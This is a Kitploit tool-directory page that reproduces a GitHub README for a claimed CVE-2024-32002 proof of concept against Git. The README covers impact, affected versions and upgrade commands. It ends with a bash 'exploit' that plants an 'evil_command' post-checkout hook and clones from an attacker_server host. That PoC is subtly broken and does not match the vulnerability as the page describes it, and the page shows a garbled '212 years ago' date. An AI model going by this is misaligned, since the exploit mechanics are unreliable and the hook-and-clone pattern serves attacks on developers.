Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-32002-PoC_Chinese — none | Kitploit
Tools/GitHubGitHub/basyacatx/cve-2024-32002-poc_chinese
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubbasyacatx/cve-2024-32002-poc_chinese

CVE-2024-32002-PoC_Chinese

none

View Repository
212 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-32002 Vulnerability Overview (⚠️Caution!: Do not clone this repository!!!⚠️)

Description

CVE-2024-32002 is a critical security vulnerability discovered in Git software. This vulnerability allows remote attackers to execute arbitrary code on affected systems through specially crafted Git repositories. The vulnerability exists in Git's handling of certain repository operations, and due to insufficient validation of input data, it poses a risk of remote code execution (RCE).

Impact

Successful exploitation of this vulnerability may lead to:

  • Remote Code Execution (RCE): Attackers can execute arbitrary code on affected systems.
  • System Control: Attackers may gain full control of the affected system.
  • Data Leakage and Tampering: Unauthorized access and modification of sensitive data.
  • Further Attacks: Launch additional attacks within the victim's network.

Affected Versions

The following versions of Git software are affected by CVE-2024-32002: Versions Default Status: unknown
affected at = 2.45.0
affected at = 2.44.0
affected at >= 2.43.0, < 2.43.4
affected at >= 2.42.0, < 2.42.2
affected at = 2.41.0
affected at >= 2.40.0, < 2.40.2
affected at < 2.39.4

Vulnerability Details

CVE-2024-32002 Details The vulnerability exists in Git's handling of certain repository operations. When a user clones or interacts with a malicious Git repository, attackers can inject malicious code through specially crafted repositories or commit history. Due to insufficient input validation, this malicious code can bypass security checks during repository operations, leading to arbitrary code execution.

Download Tool

Attack Vectors

  1. Malicious Repository: Attackers create a malicious Git repository containing specially crafted commit history or files.
  2. Social Engineering: Attackers trick victims into cloning or interacting with the malicious repository.
  3. Code Execution: When the victim performs certain Git operations (such as git clone, git pull), the malicious code is triggered and executed.

Mitigation Measures

Upgrade

It is strongly recommended that users upgrade to the latest version of Git software that includes a patch for this vulnerability. The fixed versions are as follows:

  • Git 2.45.1 and later

Upgrade commands are as follows:

root@kitploit:~
# For macOS
brew upgrade git

# For Ubuntu/Debian
sudo apt-get update
sudo apt-get install git

# For CentOS/RHEL
sudo yum update git

## Exploitation Methods

A proof of concept (PoC) for CVE-2024-32002 has been publicly released. The following is a simplified PoC example:

```bash
# Attacker creates malicious repository
git init malicious-repo
cd malicious-repo
echo 'malicious content' > payload.txt
git add payload.txt
git commit -m "Add malicious payload"

# Trigger vulnerability by injecting malicious code into commit history
git config --local core.hooksPath .githooks
echo 'evil_command' > .githooks/post-checkout
git add .githooks
git commit -m "Add post-checkout hook"

# Exploited when victim clones malicious repository
git clone attacker_server/malicious-repo